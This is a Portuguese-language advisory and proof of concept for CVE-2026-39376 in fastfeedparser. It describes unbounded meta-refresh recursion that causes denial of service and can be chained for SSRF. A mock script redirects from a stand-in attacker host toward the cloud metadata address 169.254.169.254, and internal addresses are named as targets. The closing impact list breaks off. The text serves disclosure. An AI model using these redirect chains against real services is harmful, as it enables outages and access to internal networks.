
Prova de conceito para CVE-2026-39376, demonstrando um loop infinito de redirecionamento como negação de serviço por meio de cadeias de meta-refresh no fastfeedparser, com potencial de encadeamento de SSRF.
CVE-2026-39376 (DoS por loop de redirecionamento infinito via cadeia de meta-refresh)
Quando parse() busca uma URL que retorna uma página HTML contendo uma tag <meta http-equiv="refresh">, ela chama a si mesma recursivamente com a URL de redirecionamento — sem limite de profundidade, sem deduplicação de URLs já visitadas e sem limite de contagem de redirecionamentos. Um servidor controlado pelo atacante que retorna uma cadeia infinita de respostas HTML com meta-refresh causa recursão ilimitada, esgotando a pilha de chamadas do Python e derrubando o processo. Essa vulnerabilidade também pode ser encadeada com o problema SSRF complementar para alcançar alvos de rede interna após contornar a verificação inicial de URL.
parse() captura ValueError em falha de análise XML, extrai uma URL de meta-refresh da resposta HTML via _extract_meta_refresh_url() e faz uma chamada de cauda a si mesma com essa URL. A chamada recursiva é incondicional — não há profundidade máxima de redirecionamento, nenhum conjunto de URLs já visitadas e nenhuma proteção contra redirecionamentos autorreferenciais ou em loop.
fastfeedparser/main.py — parse() (sumidouro recursivo):
def parse(source: str | bytes, ...) -> FastFeedParserDict:
is_url = isinstance(source, str) and source.startswith(("http://", "https://"))
if is_url:
content = _fetch_url_content(source)
try:
return _parse_content(content, ...)
except ValueError as e:
...
redirect_url = _extract_meta_refresh_url(content, source)
if redirect_url is None:
raise
return parse(redirect_url, ...) # ← recursão incondicional, sem limite de profundidade
_extract_meta_refresh_url() usa urljoin(base_url, match.group(1)), portanto URLs relativas, relativas a protocolo (//host/path) e absolutas no atributo content= são todas seguidas.
Nenhum servidor ativo é necessário. O código a seguir aplica monkeypatch em _fetch_url_content para retornar uma cadeia infinita de HTML com meta-refresh e confirma a recursão ilimitada:
import fastfeedparser.main as m
call_count = 0
_orig = m._fetch_url_content
def mock_fetch(url):
global call_count
call_count += 1
if call_count > 10:
raise RuntimeError(f"Stopped at call {call_count}")
next_url = f"http://169.254.169.254/step{call_count}/"
return f"""<html><head>
<meta http-equiv="refresh" content="0; url={next_url}">
</head><body>not a feed</body></html>""".encode()
m._fetch_url_content = mock_fetch
try:
m.parse("http://attacker.com/loop")
except RuntimeError as e:
print(f"CONFIRMED infinite loop: {e}")
finally:
m._fetch_url_content = _orig
print(f"Total fetches before stop: {call_count}")
# Output:
# CONFIRMED infinite loop: Stopped at call 11
# Total fetches before stop: 11
Cada chamada recursiva executa uma requisição HTTP real (timeout de 30 s), análise de HTML e alocação de um quadro de pilha do Python. Com o limite de recursão padrão do Python de 1000 e um timeout de 30 s por requisição, uma única requisição do atacante pode manter uma thread do servidor ocupada por até ~8 horas antes que um RecursionError seja levantado.
Variante de encadeamento SSRF: A primeira resposta pode ser um HTML legítimo redirecionando para um endereço interno (http://192.168.1.1/), permitindo que o loop de redirecionamento também sirva como um bypass de SSRF para alvos que, de outra forma, seriam bloqueados pela validação de URL em nível de aplicação aplicada apenas à URL inicial.
Esta é uma vulnerabilidade de negação de serviço com impacto secundário de encadeamento SSRF. Qualquer aplicação que aceite URLs de feeds fornecidas pelo usuário e chame fastfeedparser.parse() é afetada — incluindo agregadores de RSS, serviços de pré-visualização de feeds e recursos de "assinar por URL". Um atacante sem autenticação pode:
RecursionError após ~1000 redirecionamentos